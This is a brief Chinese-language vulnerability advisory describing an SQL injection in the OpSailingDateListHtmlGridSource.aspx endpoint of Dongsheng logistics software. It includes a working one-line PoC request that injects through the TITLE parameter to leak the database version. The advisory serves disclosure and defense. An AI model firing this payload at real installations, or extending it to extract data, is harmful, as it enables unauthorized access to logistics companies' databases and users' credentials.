东胜物流软件 /PriceCarrier/OpSailingDateListHtmlGridSource.aspx SQL 注入漏洞

2026-04-17 东胜物流软件 PoC Public

Description

东胜物流软件是青岛东胜伟业软件有限公司一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。该产品采用.NET技术栈开发,提供完整的物流业务流程管理,涵盖接单、调度、配载、运输、签收、结算等环节,广泛应用于第三方物流、货运代理、供应链管理等行业。东胜物流软件的 /PriceCarrier/OpSailingDateListHtmlGridSource.aspx 接口存在SQL注入漏洞,攻击者可以通过TITLE参数构造恶意的SQL语句,未经授权访问数据库,获取敏感信息(如管理员密码、用户数据)或对数据库进行破坏性操作。

PoC

GET /PriceCarrier/OpSailingDateListHtmlGridSource.aspx?handle=list&cur_page=1&show_page=10&TITLE=1'and+1<@@VERSION-- HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities